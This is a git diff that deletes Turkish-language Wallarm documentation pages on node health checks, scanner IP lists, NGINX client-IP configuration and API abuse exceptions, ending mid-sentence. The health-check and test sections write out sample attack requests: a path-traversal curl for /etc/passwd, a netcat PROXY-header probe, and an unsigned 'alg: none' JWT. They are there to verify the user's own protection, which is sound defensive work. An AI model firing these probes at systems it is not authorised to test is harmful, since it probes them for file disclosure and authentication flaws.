Prometheus ya da Nagios gibi dahili izleme sistemlerinin kullanıcıları muhtemelen edge konumlarında (yük dengeleyiciler, web sunucuları, API sunucuları) sunulan istek seviyesini hâlihazırda izlemektedir ve bu bilgiyi kullanarak ayda işlenen ortalama istek sayısını kolayca tahmin edebilir. -* Başka bir yaklaşım, edge yük dengeleyicilerinin veya web sunucularının günlüklerini kullanarak belirli bir zaman dilimindeki (ideal olarak 24 saat) günlük kayıtlarını saymaktır; her sunulan istek için bir günlük kaydı olduğu varsayımıyla. Örneğin, bu web sunucusu NGINX erişim günlüğü dosyasını günde bir kez döndürür ve günlük dosyasında 653,525 istek kaydedilmiştir: - - ```bash - cd /var/log/nginx/ - zcat access.log.2.gz |wc -l - # 653525 - ``` - - * Sunucunun bir ayda hizmet verdiği isteklerin tahmini sayısı `653,525 * 30 = 19,605,750`’dir. - * Kullanılan toplam web sunucusu sayısını bilmek, tüm API tarafından işlenen istek sayısını tahmin etmeyi mümkün kılar. - -* Google Analytics veya benzeri kullanıcı deneyimi izleme ve gözlemleme servislerini kullanan salt web uygulamaları için, sunulan sayfa sayısı ve tüm gömülü nesneler hakkındaki bilgiler bu servislerden çıkarılabilir. \ No newline at end of file diff --git a/docs/latest-tr/admin-en/scanner-addresses.md b/docs/latest-tr/admin-en/scanner-addresses.md deleted file mode 100644 index 8b941b6ea8..0000000000 --- a/docs/latest-tr/admin-en/scanner-addresses.md +++ /dev/null @@ -1,26 +0,0 @@ -[file-ips-list-us]: ../downloads/scanner-ip-addresses-us.txt -[file-ips-list-eu]: ../downloads/scanner-ip-addresses-eu.txt - -# Güvenlik Açığı Tarama IP'leri - -Bu belge, Wallarm'ın [API Attack Surface Management](../api-attack-surface/security-issues.md) ve [Threat Replay Testing](../vulnerability-detection/threat-replay-testing/overview.md) ile şirket kaynaklarını güvenlik açıkları açısından taradığı, entegre WAAP çözümleri ve güvenlik duruşunu değerlendirdiği US Cloud ve EU Cloud için IP adresi listelerini sağlar. - -Otomatik olarak trafiği filtreleyip engellemek için kullandığınız (Wallarm haricinde) yazılım veya donanım çözümlerinizin **beyaz listelerine** ilgili listedeki adresleri eklemeniz önerilir. Bu, Wallarm bileşenlerinin bu çözümler tarafından engellenmesini önleyecektir. - -## US Cloud - -Wallarm'ın [US Cloud](https://us1.my.wallarm.com) içinde varlıklarınızı taradığı IP adresleri: - ---8<-- "../include/scanner-ip-request-us.md" - -!!! info "IP adresleri listesini indirin" - [US Cloud için Wallarm'ın varlık tarama IP'lerinin listesini içeren düz metin dosyasını indirin][file-ips-list-us] - -## EU Cloud - -Wallarm'ın [EU Cloud](https://my.wallarm.com) içinde varlıklarınızı taradığı IP adresleri: - ---8<-- "../include/scanner-ip-request.md" - -!!! info "IP adresleri listesini indirin" - [EU Cloud için Wallarm'ın varlık tarama IP'lerinin listesini içeren düz metin dosyasını indirin][file-ips-list-eu] \ No newline at end of file diff --git a/docs/latest-tr/admin-en/uat-checklist-en.md b/docs/latest-tr/admin-en/uat-checklist-en.md deleted file mode 100644 index 56304fa3d6..0000000000 --- a/docs/latest-tr/admin-en/uat-checklist-en.md +++ /dev/null @@ -1,224 +0,0 @@ -[ptrav-attack-docs]: ../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../images/admin-guides/test-attacks-quickstart.png - -# Düğüm Dağıtımından Sonra Wallarm Sağlık Kontrolü - -Bu belge, yeni bir filtreleme düğümü dağıtımından sonra Wallarm’ın doğru çalıştığından emin olmak için bir kontrol listesi sunar. Bu prosedürü mevcut herhangi bir düğümün sağlık durumunu test etmek için de kullanabilirsiniz. - -!!! info "Sağlık kontrolü sonuçları" - Beklenen sonuç ile gerçek sonuç arasındaki fark, düğümün işleyişinde bir sorun işareti olabilir. Bu tür farklılıklara özel dikkat göstermeniz ve gerekirse yardım için [Wallarm destek ekibi](https://support.wallarm.com/) ile iletişime geçmeniz önerilir. - -## Düğüm Cloud'a kayıtlı - -Kontrol etmek için: - -1. Wallarm Console → **Configuration** → **Nodes**'u açın. -1. Yalnızca aktif düğümleri görmek için filtre uygulayın. -1. Listenizde düğümünüzü bulun. Ayrıntıları görmek için tıklayın. - -## Düğüm saldırıları kaydeder {#node-registers-attacks} - -Kontrol etmek için: - ---8<-- "../include/waf/installation/test-waf-operation-no-stats.md" - -## Düğüm tüm trafiği kaydeder {#node-registers-all-traffic} - -Trafiğinizin tam görünürlüğünü sağlamak için, Wallarm’ın [API Sessions](../api-sessions/overview.md) özelliği tüm istekleri – kötü amaçlı ve meşru – adım adım kullanıcı oturumları biçiminde görüntüler. - -Kontrol etmek için: - -1. Düğümünüz tarafından korunan kaynağa bir istek gönderin: - - ``` - curl http:// - ``` - - Veya bir bash betiği ile birkaç istek gönderin: - - ``` - for (( i=0 ; $i<10 ; i++ )) ; - do - curl http:// ; - done - ``` - - Bu örnek 10 istek içindir. - -1. **Events** → **API Sessions**'ı açın. -1. İsteklerinizin ve daha önce gönderdiğiniz saldırının bulunduğu oturumu bulun – hepsi tek bir oturumda. - -## Düğüm istatistik hizmeti çalışıyor {#node-statistics-service-works} - -Filtreleme düğümünün çalışma istatistiklerini `/wallarm-status` URL’ine istek göndererek alabilirsiniz. - -!!! info "İstatistik hizmeti" - İstatistik hizmeti ve nasıl yapılandırılacağı hakkında daha fazla bilgiyi [buradan](../admin-en/configure-statistics-service.md) okuyabilirsiniz. - -Kontrol etmek için: - -1. Düğümün kurulu olduğu makinede şu komutu çalıştırın: - - ``` - curl http://127.0.0.8/wallarm-status - ``` - -1. Çıktıyı kontrol edin. Şuna benzer olmalıdır: - - ```json - { - "requests": 11, - "streams": 0, - "messages": 0, - "attacks": 1, - "blocked": 0, - "blocked_by_acl": 0, - "blocked_by_antibot": 0, - "acl_allow_list": 0, - "abnormal": 11, - "tnt_errors": 0, - "api_errors": 0, - "requests_lost": 0, - "overlimits_time": 0, - "segfaults": 0, - "memfaults": 0, - "softmemfaults": 0, - "proton_errors": 0, - "time_detect": 0, - "db_id": 199, - "lom_id": 1726, - "custom_ruleset_id": 1726, - "custom_ruleset_ver": 56, - "db_apply_time": 1750365841, - "lom_apply_time": 1750365842, - "custom_ruleset_apply_time": 1750365842, - "proton_instances": { - "total": 2, - "success": 2, - "fallback": 0, - "failed": 0 - }, - "stalled_workers_count": 0, - "stalled_workers": [], - "ts_files": [ - { - "id": 1726, - "size": 11887, - "mod_time": 1750365842, - "fname": "/opt/wallarm/etc/wallarm/custom_ruleset" - } - ], - "db_files": [ - { - "id": 199, - "size": 355930, - "mod_time": 1750365841, - "fname": "/opt/wallarm/etc/wallarm/proton.db" - } - ], - "startid": 2594491974706159096, - "compatibility": 4, - "config_revision": 0, - "rate_limit": { - "shm_zone_size": 67108864, - "buckets_count": 2, - "entries": 0, - "delayed": 0, - "exceeded": 0, - "expired": 0, - "removed": 0, - "no_free_nodes": 0 - }, - "timestamp": 1750371146.209885, - "split": { - "clients": [ - { - "client_id": null, - "requests": 11, - "streams": 0, - "messages": 0, - "attacks": 1, - "blocked": 0, - "blocked_by_acl": 0, - "blocked_by_antibot": 0, - "overlimits_time": 0, - "time_detect": 0, - "applications": [ - { - "app_id": -1, - "requests": 11, - "streams": 0, - "messages": 0, - "attacks": 1, - "blocked": 0, - "blocked_by_acl": 0, - "blocked_by_antibot": 0, - "overlimits_time": 0, - "time_detect": 0 - } - ] - } - ] - } - } - ``` - - Bu, filtreleme düğümü istatistik hizmetinin çalıştığı ve düzgün çalıştığı anlamına gelir. - -## Düğüm günlükleri toplanıyor {#node-logs-are-collected} - -Kontrol etmek için: - -1. Düğümün kurulu olduğu makinede `/opt/wallarm/var/log/wallarm` dizinine gidin. -1. `wcli-out.log` içindeki verileri kontrol edin: brute force tespiti, saldırıların Cloud’a aktarımı ve düğümün Cloud ile senkronizasyon durumu dahil olmak üzere çoğu Wallarm hizmetinin günlükleri. - -Diğer günlükler ve günlük yapılandırmasıyla ilgili ayrıntılar için [buraya](../admin-en/configure-logging.md) bakın. - -## Düğüm güvenlik açıklarını kaydeder - -Wallarm, uygulama API’lerinizdeki [güvenlik açıklarını](../glossary-en.md#vulnerability) tespit eder. - -Kontrol etmek için: - -1. Kaynağınıza bir istek gönderin: - - ``` - curl -H 'jwt: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJjbGllbmRfaWQiOiIxIn0.' -H 'HOST: ' - ``` - - Ana makine için zaten bir [weak JWT](../attacks-vulns-list.md#weak-jwt) güvenlik açığınız varsa (herhangi bir durumda, kapalı olsa bile), yeni güvenlik açığının kaydedildiğini görmek için farklı bir `TEST_HOST_NAME` belirtmeniz gerekir. - -1. Zayıf JWT güvenlik açığının listelenip listelenmediğini kontrol etmek için Wallarm Console → **Events** → **Vulnerabilities**'i açın. - -## IP listeleri çalışıyor - -Wallarm’da, isteklerin geldiği IP adreslerini Allowlist, Denylist ve Graylist’e alarak uygulama API’lerinize erişimi kontrol edebilirsiniz. IP listelerinin temel mantığını [burada](../user-guides/ip-lists/overview.md) öğrenin. - -Kontrol etmek için: - -1. Wallarm Console → **Events** → **Attacks**'ı açın ve [Düğüm saldırıları kaydeder](#node-registers-attacks) kontrolü sırasında oluşturduğunuz saldırıyı bulun. -1. Saldırının kaynak IP’sini kopyalayın. -1. Security Controls → **IP Lists** → **Allowlist**'e gidin ve kopyaladığınız kaynak IP’yi bu listeye ekleyin. -1. Yeni IP list durumu filtreleme düğümüne yüklenene kadar bekleyin (yaklaşık 2 dakika). -1. Aynı saldırıyı bu IP’den tekrar gönderin. **Attacks** içinde hiçbir şey görünmemelidir. -1. IP’yi **Allowlist**'ten kaldırın. -1. IP’yi **Denylist**'e ekleyin. -1. [Düğüm tüm trafiği kaydeder](#node-registers-all-traffic) adımındaki gibi meşru istekler gönderin. Bu istekler (meşru olsalar bile) **Attacks** içinde engellenmiş olarak görünmelidir. - -## Kurallar çalışıyor - -Wallarm’da, sistemin kötü amaçlı istekleri nasıl tespit ettiğini ve bu tür kötü amaçlı istekler tespit edildiğinde nasıl davrandığını değiştirmek için [kurallar](../user-guides/rules/rules.md) kullanabilirsiniz. Kuralları Wallarm Console üzerinden Cloud’da oluşturursunuz, özel kurallar kümenizi oluştururlar, ardından Cloud bunları filtreleme düğümüne gönderir ve çalışmaya başlarlar. - -Kontrol etmek için: - -1. Aşağıdaki yöntemlerden birini kullanarak geçerli özel kurallar kümesi kimliğini (ID) ve tarihini kontrol edin: - - * Wallarm Console → **Configuration** → **Nodes** içinde, düğüm ayrıntılarınıza erişin ve custom_ruleset kimlik numarası ile kurulum zamanını not edin. - * [Düğüm istatistiklerinde](#node-statistics-service-works) `custom_ruleset_id` ve `custom_ruleset_apply_time` değerlerini not edin. - * `wcli-out.log` [düğüm günlüğünde](#node-logs-are-collected), `"lom"` içeren son satırı not edin, o satırdaki `version` ve `time` değerlerine dikkat edin. - -1. **Security Controls** → **Rules WAF**’a gidin. -1. **Add rule** → **Fine-tuning attack detection** → **Ignore certain attacks**'i kullanın, isteğin `uri` bölümünde **Path traversal**'ı yok saymayı seçin ve ardından kuralı oluşturun. -1. İlk adımdaki verilerin güncellendiğini kontrol edin (2-4 dakika sürebilir). -1. [Düğüm saldırıları kaydeder](#node-registers-attacks) kontrolündeki saldırıyı tekrarlayın. Artık bu saldırı yok sayılmalı ve **Attacks** içinde görüntülenmemelidir. -1. Kuralı silin. \ No newline at end of file diff --git a/docs/latest-tr/admin-en/using-proxy-or-balancer-en.md b/docs/latest-tr/admin-en/using-proxy-or-balancer-en.md deleted file mode 100644 index a0d668d4e8..0000000000 --- a/docs/latest-tr/admin-en/using-proxy-or-balancer-en.md +++ /dev/null @@ -1,259 +0,0 @@ -# HTTP proxy veya bir yük dengeleyici (NGINX) kullanıyorsanız orijinal istemci IP adresini belirleme - -Bu talimatlar, HTTP proxy veya yük dengeleyici üzerinden sunucularınıza bağlanan bir istemcinin orijinal IP adresini belirlemek için gerekli NGINX yapılandırmasını açıklar. Bu, self-hosted NGINX tabanlı düğümler için geçerlidir. - -* Self-hosted Wallarm node all-in-one installer, AWS / GCP imajları veya NGINX tabanlı Docker imajından kurulduysa, lütfen mevcut talimatları kullanın. -* Self-hosted Wallarm node K8s Ingress controller olarak dağıtıldıysa, lütfen [bu talimatları](configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md) kullanın. - -## Wallarm node, bir isteğin IP adresini nasıl belirler - -Wallarm node, isteğin kaynak IP adresini NGINX değişkeni `$remote_addr` üzerinden okur. İstek, node’a gönderilmeden önce bir proxy sunucusu veya yük dengeleyiciden geçerse, `$remote_addr` değişkeni proxy sunucusu veya yük dengeleyicinin IP adresini korur. - -![Yük dengeleyici kullanımı](../images/admin-guides/using-proxy-or-balancer/using-balancer-en.png) - -Wallarm node tarafından belirlenen istek kaynak IP adresi, Wallarm Console içindeki [saldırı ayrıntılarında](../user-guides/events/check-attack.md#attack-analysis) görüntülenir. - -## İstek kaynak adresi olarak bir proxy sunucusu veya yük dengeleyici IP adresinin kullanılmasının olası sorunları - -Wallarm node, proxy sunucusu veya yük dengeleyicinin IP adresini isteğin kaynak IP adresi olarak kabul ederse, aşağıdaki Wallarm özellikleri hatalı çalışabilir: - -* [Uygulamalara IP adresleriyle erişimi kontrol etme](../user-guides/ip-lists/overview.md), örneğin: - - Eğer orijinal istemci IP adresleri reddedilen listeye eklendiyse, Wallarm node yine de bu adreslerden gelen istekleri engellemeyecektir; çünkü yük dengeleyicinin IP adresini isteğin kaynak IP adresi olarak kabul eder. -* [Brute force koruması](configuration-guides/protecting-against-bruteforce.md), örneğin: - - Yük dengeleyiciden geçen isteklerde brute force saldırı işaretleri varsa, Wallarm bu yük dengeleyicinin IP adresini reddedilen listeye ekleyecek ve sonuç olarak bu yük dengeleyiciden geçen tüm sonraki istekleri engelleyecektir. -* [Threat Replay Testing](../about-wallarm/detecting-vulnerabilities.md#threat-replay-testing) modülü, örneğin: - - Wallarm, Threat Replay Testing modülü tarafından oluşturulan [test saldırılarını başlatan IP adresi](../admin-en/scanner-addresses.md) olarak yük dengeleyicinin IP adresini kabul edecektir. Böylece, test saldırıları Wallarm Console’da yük dengeleyicinin IP adresinden kaynaklanmış gibi görüntülenecek ve Wallarm tarafından ayrıca kontrol edilerek uygulama üzerinde ek yük oluşturacaktır. - -Wallarm node bir [IPC soketi](https://en.wikipedia.org/wiki/Unix_domain_socket) üzerinden bağlıysa, istek kaynağı olarak `0.0.0.0` kabul edilecektir. - -## Orijinal istemci IP adresinin belirlenmesi için yapılandırma - -Orijinal istemci IP adresini belirlemek için, [NGINX modülü **ngx_http_realip_module**](https://nginx.org/en/docs/http/ngx_http_realip_module.html) kullanılabilir. Bu modül, Wallarm node’un istemci IP adresini almak için [kullandığı](#how-wallarm-node-identifies-an-ip-address-of-a-request) `$remote_addr` değişkeninin değerini yeniden tanımlamaya olanak tanır. - -NGINX modülü **ngx_http_realip_module** aşağıdaki şekillerde kullanılabilir: - -* Orijinal istemci IP adresini, yük dengeleyici veya proxy sunucusu tarafından isteğe eklenen belirli bir başlıktan (genellikle, [`X-Forwarded-For`](https://en.wikipedia.org/wiki/X-Forwarded-For)) okumak için. -* Yük dengeleyici veya proxy sunucusu [PROXY protokolünü](https://www.haproxy.org/download/1.8/doc/proxy-protocol.txt) destekliyorsa, orijinal istemci IP adresini `PROXY` başlığından okumak için. - -### NGINX’in `X-Forwarded-For` (`X-Real-IP` veya benzeri) başlığını okumasını yapılandırma - -Yük dengeleyici veya proxy sunucusu, orijinal istemci IP adresini içeren `X-Forwarded-For` (`X-Real-IP` veya benzeri) başlığını ekliyorsa, NGINX modülü **ngx_http_realip_module**’ü bu başlığı okuması için aşağıdaki gibi yapılandırın: - -1. Wallarm node ile kurulu NGINX’in aşağıdaki yapılandırma dosyasını açın: - - * Wallarm node all-in-one installer veya AWS / GCP imajından kurulduysa `/etc/nginx/sites-enabled/default`. - * Wallarm node NGINX tabanlı Docker imajından dağıtıldıysa, NGINX yapılandırma dosyasını yerel olarak oluşturup düzenlemeli ve Docker konteynerine `/etc/nginx/http.d/default.conf` yoluna mount etmelisiniz. İlk NGINX yapılandırma dosyasını kopyalayabilir ve dosyayı konteynere mount etme talimatlarını [Wallarm NGINX tabanlı Docker talimatlarından](installation-docker-en.md#run-the-container-mounting-the-configuration-file) alabilirsiniz. -2. NGINX’in `location` bağlamında veya daha üstünde, `set_real_ip_from` direktifini proxy sunucusu veya yük dengeleyicinin IP adresiyle ekleyin. Proxy sunucusu veya yük dengeleyicinin birden fazla IP adresi varsa, uygun sayıda ayrı direktif ekleyin. Örneğin: - - ```bash - ... - location / { - wallarm_mode block; - - set_real_ip_from 1.2.3.4; - set_real_ip_from 192.0.2.0/24; - } - ... - ``` -2. Kullanılan yük dengeleyicinin belgelerinde, bu yük dengeleyici tarafından orijinal istemci IP adresini iletmek için eklenen başlığın adını bulun. Çoğunlukla başlığın adı `X-Forwarded-For`’dur. -3. NGINX’in `location` bağlamında veya daha üstünde, önceki adımda bulunan başlık adını içeren `real_ip_header` direktifini ekleyin. Örneğin: - - ```bash - ... - location / { - wallarm_mode block; - - set_real_ip_from 1.2.3.4; - set_real_ip_from 192.0.2.0/24; - real_ip_header X-Forwarded-For; - } - ... - ``` -4. NGINX’i yeniden başlatın: - - --8<-- "../include/waf/restart-nginx-4.4-and-above.md" - - NGINX, `real_ip_header` direktifinde belirtilen başlığın değerini `$remote_addr` değişkenine atayacaktır; böylece Wallarm node orijinal istemci IP adreslerini bu değişkenden okuyacaktır. -5. [Yapılandırmayı test edin](#testing-the-configuration). - -### NGINX’in `PROXY` başlığını okumasını yapılandırma - -Yük dengeleyici veya proxy sunucusu [PROXY protokolünü](https://www.haproxy.org/download/1.8/doc/proxy-protocol.txt) destekliyorsa, NGINX modülü **ngx_http_realip_module**’ü `PROXY` başlığını okuması için aşağıdaki gibi yapılandırabilirsiniz: - -1. Wallarm node ile kurulu NGINX’in aşağıdaki yapılandırma dosyasını açın: - - * Wallarm node all-in-one installer veya AWS / GCP imajından kurulduysa `/etc/nginx/sites-enabled/default`. - * Wallarm node NGINX tabanlı Docker imajından dağıtıldıysa, NGINX yapılandırma dosyasını yerel olarak oluşturup düzenlemeli ve Docker konteynerine `/etc/nginx/http.d/default.conf` yoluna mount etmelisiniz. İlk NGINX yapılandırma dosyasını kopyalayabilir ve dosyayı konteynere mount etme talimatlarını [Wallarm NGINX tabanlı Docker talimatlarından](installation-docker-en.md#run-the-container-mounting-the-configuration-file) alabilirsiniz. -2. NGINX’in `server` bağlamında, `listen` direktifine `proxy_protocol` parametresini ekleyin. -3. NGINX’in `location` bağlamında veya daha üstünde, `set_real_ip_from` direktifini proxy sunucusu veya yük dengeleyicinin IP adresiyle ekleyin. Proxy sunucusu veya yük dengeleyicinin birden fazla IP adresi varsa, uygun sayıda ayrı direktif ekleyin. Örneğin: -4. NGINX’in `location` bağlamında veya daha üstünde, `real_ip_header` direktifini `proxy_protocol` değeriyle ekleyin. - - Tüm direktiflerin eklendiği örnek NGINX yapılandırma dosyası: - - ```bash - server { - listen 80 proxy_protocol; - server_name localhost; - - set_real_ip_from ; - real_ip_header proxy_protocol; - - ... - } - ``` - - * NGINX, 80 numaralı portta gelen bağlantıları dinler. - * Gelen istekte `PROXY` başlığı iletilmezse, NGINX bu isteği geçerli olmadığı için kabul etmez. - * `` adresinden gelen istekler için, NGINX `PROXY` başlığında iletilen kaynak adresi `$remote_addr` değişkenine atar; böylece Wallarm node orijinal istemci IP adreslerini bu değişkenden okuyacaktır. -5. NGINX’i yeniden başlatın: - - --8<-- "../include/waf/restart-nginx-4.4-and-above.md" -6. [Yapılandırmayı test edin](#testing-the-configuration). - -Orijinal istemci IP adresini log’lara dahil etmek için, NGINX yapılandırmasında `proxy_set_header` direktifini eklemeli ve `log_format` direktifindeki değişkenler listesini [NGINX loglama talimatlarında](https://docs.nginx.com/nginx/admin-guide/load-balancer/using-proxy-protocol/#logging-the-original-ip-address) açıklandığı gibi düzenlemelisiniz. - -`PROXY` başlığına dayanarak orijinal istemci IP adresini belirleme hakkında daha fazla ayrıntı [NGINX belgelerinde](https://docs.nginx.com/nginx/admin-guide/load-balancer/using-proxy-protocol/#changing-the-load-balancers-ip-address-to-the-client-ip-address) mevcuttur. - -### Yapılandırmayı test etme - -1. Test saldırısını korunan uygulamanın adresine gönderin: - - === "cURL kullanarak" - ```bash - curl http://localhost/etc/passwd - ``` - === "printf ve Netcat kullanarak (`PROXY` başlığı için)" - ```bash - printf "PROXY TCP4 0 80\r\nGET /etc/passwd\r\n\r\n" | nc localhost 80 - ``` -2. Wallarm Console’u açın ve orijinal istemci IP adresinin saldırı ayrıntılarında görüntülendiğinden emin olun: - - ![İsteği başlatan IP adresi](../images/request-ip-address.png) - - NGINX orijinal adresi `X-Forwarded-For` (`X-Real-IP` veya benzeri) başlığından okuduysa, başlık değeri ham saldırıda da görüntülenecektir. - - ![X-Forwarded-For başlığı](../images/x-forwarded-for-header.png) - -## Yapılandırma örnekleri - -Aşağıda, popüler yük dengeleyiciler üzerinden sunucularınıza bağlanan bir istemcinin orijinal IP adresini belirlemek için gereken NGINX yapılandırması örnekleri yer almaktadır. - -### Cloudflare CDN - -Cloudflare CDN kullanıyorsanız, orijinal istemci IP adreslerini belirlemek için [NGINX modülü **ngx_http_realip_module**](#configuring-nginx-to-read-the-header-x-forwarded-for-x-real-ip-or-a-similar) yapılandırılabilir. - -```bash -... -set_real_ip_from 103.21.244.0/22; -set_real_ip_from 103.22.200.0/22; -set_real_ip_from 103.31.4.0/22; -set_real_ip_from 104.16.0.0/12; -set_real_ip_from 108.162.192.0/18; -set_real_ip_from 131.0.72.0/22; -set_real_ip_from 141.101.64.0/18; -set_real_ip_from 162.158.0.0/15; -set_real_ip_from 172.64.0.0/13; -set_real_ip_from 173.245.48.0/20; -set_real_ip_from 188.114.96.0/20; -set_real_ip_from 190.93.240.0/20; -set_real_ip_from 197.234.240.0/22; -set_real_ip_from 198.41.128.0/17; -set_real_ip_from 2400:cb00::/32; -set_real_ip_from 2606:4700::/32; -set_real_ip_from 2803:f800::/32; -set_real_ip_from 2405:b500::/32; -set_real_ip_from 2405:8100::/32; -set_real_ip_from 2c0f:f248::/32; -set_real_ip_from 2a06:98c0::/29; - -real_ip_header CF-Connecting-IP; -#real_ip_header X-Forwarded-For; -real_ip_recursive on; -... -``` - -* Yapılandırmayı kaydetmeden önce, yukarıdaki yapılandırmada belirtilen Cloudflare IP adreslerinin [Cloudflare belgelerindeki](https://www.cloudflare.com/ips/) adreslerle eşleştiğinden emin olun. -* `real_ip_header` direktifi değerinde `CF-Connecting-IP` veya `X-Forwarded-For` belirtilebilir. Cloudflare CDN her iki başlığı da ekler ve NGINX’i bunlardan herhangi birini okuyacak şekilde yapılandırabilirsiniz. [Cloudflare CDN’de daha fazla ayrıntı](https://support.cloudflare.com/hc/en-us/articles/200170786-Restoring-original-visitor-IPs) - -### Fastly CDN - -Fastly CDN kullanıyorsanız, orijinal istemci IP adreslerini belirlemek için [NGINX modülü **ngx_http_realip_module**](#configuring-nginx-to-read-the-header-x-forwarded-for-x-real-ip-or-a-similar) yapılandırılabilir. - -```bash -... -set_real_ip_from 23.235.32.0/20; -set_real_ip_from 43.249.72.0/22; -set_real_ip_from 103.244.50.0/24; -set_real_ip_from 103.245.222.0/23; -set_real_ip_from 103.245.224.0/24; -set_real_ip_from 104.156.80.0/20; -set_real_ip_from 146.75.0.0/16; -set_real_ip_from 151.101.0.0/16; -set_real_ip_from 157.52.64.0/18; -set_real_ip_from 167.82.0.0/17; -set_real_ip_from 167.82.128.0/20; -set_real_ip_from 167.82.160.0/20; -set_real_ip_from 167.82.224.0/20; -set_real_ip_from 172.111.64.0/18; -set_real_ip_from 185.31.16.0/22; -set_real_ip_from 199.27.72.0/21; -set_real_ip_from 199.232.0.0/16; -set_real_ip_from 2a04:4e40::/32; -set_real_ip_from 2a04:4e42::/32; - -real_ip_header X-Forwarded-For; -real_ip_recursive on; -... -``` - -Yapılandırmayı kaydetmeden önce, yukarıdaki yapılandırmada belirtilen Fastly IP adreslerinin [Fastly belgelerindeki](https://api.fastly.com/public-ip-list) adreslerle eşleştiğinden emin olun. - -### HAProxy - -HAProxy kullanıyorsanız, orijinal istemci IP adreslerini belirlemek için hem HAProxy hem de Wallarm node taraflarının doğru şekilde yapılandırılması gerekir: - -* `/etc/haproxy/haproxy.cfg` yapılandırma dosyasında, HAProxy’nin Wallarm node’a bağlanmasından sorumlu `backend` direktifi bloğuna `option forwardfor header X-Client-IP` satırını ekleyin. - - `option forwardfor` direktifi, HAProxy yük dengeleyicisine istemcinin IP adresini içeren bir başlığın isteğe eklenmesi gerektiğini bildirir. [HAProxy belgelerinde daha fazla ayrıntı](https://cbonte.github.io/haproxy-dconv/1.9/configuration.html#option%20forwardfor) - - Yapılandırma örneği: - - ``` - ... - # İstekleri almak için genel IP adresi - frontend my_frontend - bind - mode http - default_backend my_backend - - # Wallarm node içeren backend - backend my_backend - mode http - option forwardfor header X-Client-IP - server wallarm-node - ... - ``` - - * ``, istemci isteklerini almak için HAProxy sunucusunun IP adresidir. - * ``, HAProxy sunucusundan gelen istekleri almak için Wallarm node’un IP adresidir. - -* Wallarm node ile kurulu NGINX’in yapılandırma dosyasında, [**ngx_http_realip_module** modülünü](#configuring-nginx-to-read-the-header-x-forwarded-for-x-real-ip-or-a-similar) aşağıdaki gibi yapılandırın: - - ```bash - ... - location / { - wallarm_mode block; - - proxy_pass http://; - set_real_ip_from ; - set_real_ip_from ; - real_ip_header X-Client-IP; - } - ... - ``` - - * ``, Wallarm node’dan gelen istekler için korunan uygulamanın IP adresidir. - * `` ve ``, istekleri Wallarm node’a ileten HAProxy yük dengeleyicilerinin IP adresleridir. \ No newline at end of file diff --git a/docs/latest-tr/admin-en/wstore-metrics.md b/docs/latest-tr/admin-en/wstore-metrics.md deleted file mode 100644 index d699ae7a86..0000000000 --- a/docs/latest-tr/admin-en/wstore-metrics.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/wstore-metrics.md" diff --git a/docs/latest-tr/agentic-ai/agentic-ai-protection.md b/docs/latest-tr/agentic-ai/agentic-ai-protection.md deleted file mode 100644 index cf6883c867..0000000000 --- a/docs/latest-tr/agentic-ai/agentic-ai-protection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/agentic-ai/agentic-ai-protection.md" \ No newline at end of file diff --git a/docs/latest-tr/agentic-ai/ai-payload-inspection.md b/docs/latest-tr/agentic-ai/ai-payload-inspection.md deleted file mode 100644 index bb45ee8a34..0000000000 --- a/docs/latest-tr/agentic-ai/ai-payload-inspection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/agentic-ai/ai-payload-inspection.md" \ No newline at end of file diff --git a/docs/latest-tr/api-abuse-prevention/exceptions.md b/docs/latest-tr/api-abuse-prevention/exceptions.md deleted file mode 100644 index 7279215408..0000000000 --- a/docs/latest-tr/api-abuse-prevention/exceptions.md +++ /dev/null @@ -1,79 +0,0 @@ -[api-discovery-enable-link]: ../api-discovery/setup.md#enable - -# API Abuse Prevention İstisnaları - -Bu makale, meşru botları işaretleyerek ve belirli hedef URL’ler ve istek türleri için bot korumasını devre dışı bırakarak [API Abuse Prevention](../api-abuse-prevention/overview.md) özelliğini nasıl ince ayarlayacağınızı açıklar. - -Bu özellikler, API Abuse Prevention’un [profiller aracılığıyla yapılandırmasının](setup.md#creating-profiles) temel işleyişini genişletir. - -## Meşru otomasyon için istisnalar - -Bazı IP’leri, API Abuse Prevention tarafından engellenmemeleri için meşru botlar veya tarayıcılarla ilişkili olarak işaretlemek amacıyla **Exception list** kullanın. - -Exception list’e bir IP adresi veya aralığı ekleyip hedef uygulamayı belirtirsiniz: bu, bu adreslerden hedef uygulamaya gelecek herhangi bir isteğin bu adreslerin kötü amaçlı bot olarak işaretlenmesine yol açmamasını ve API Abuse Prevention tarafından [deny-](../user-guides/ip-lists/overview.md) veya [graylist](../user-guides/ip-lists/overview.md) listelerine eklenmemesini sağlar. - -IP adreslerini exception list’e eklemenin iki yolu vardır: - -* **API Abuse Prevention** bölümünden → **Exception list** sekmesinde **Add exception** üzerinden. Burada IP ve alt ağların yanı sıra, API Abuse Prevention tarafından yok sayılması gereken konumlar ve kaynak türlerini de ekleyebilirsiniz. - - ![API Abuse prevention - exception list içinden öğe ekleme](../images/about-wallarm-waf/abi-abuse-prevention/exception-list-add-from-inside.png) - -* **Attacks** bölümünden: `api_abuse`, `account_takeover`, `scraping` ve `security_crawlers` arama anahtarlarını kullanın veya **Type** filtresinden uygun seçenekleri seçin, ardından gerekli olayı genişletip **Add to exception list**’e tıklayın. - - ![API Abuse prevention - olay içinden exception list’e ekleme](../images/about-wallarm-waf/abi-abuse-prevention/exception-list-add-from-event.png) - -Bir IP adresi exception list’e eklendiğinde, adres otomatik olarak [deny-](../user-guides/ip-lists/overview.md) veya [graylist](../user-guides/ip-lists/overview.md) listesinden kaldırılır, ancak yalnızca API Abuse Prevention tarafından (nedeni `Bot` ise) eklenmişse. - -!!! info "IP’den gelen diğer saldırı türlerinin engellenmesi" - Exception list’te yer alan bir IP, kaba kuvvet veya girdi doğrulama saldırıları gibi diğer [saldırı türleri](../attacks-vulns-list.md) üretirse, Wallarm bu istekleri engeller. - -Varsayılan olarak IP, exception list’e süresiz eklenir. Bunu değiştirip adresin exception list’ten ne zaman kaldırılacağını ayarlayabilirsiniz. Ayrıca adresi dilediğiniz an istisnalardan hemen kaldırabilirsiniz. - -**Exception list** sekmesi geçmiş veriler sağlar - geçmişte seçilen zaman aralığında listede yer alan öğeleri görüntüleyebilirsiniz. - -## Hedef URL’ler ve belirli istekler için istisnalar - -[exception 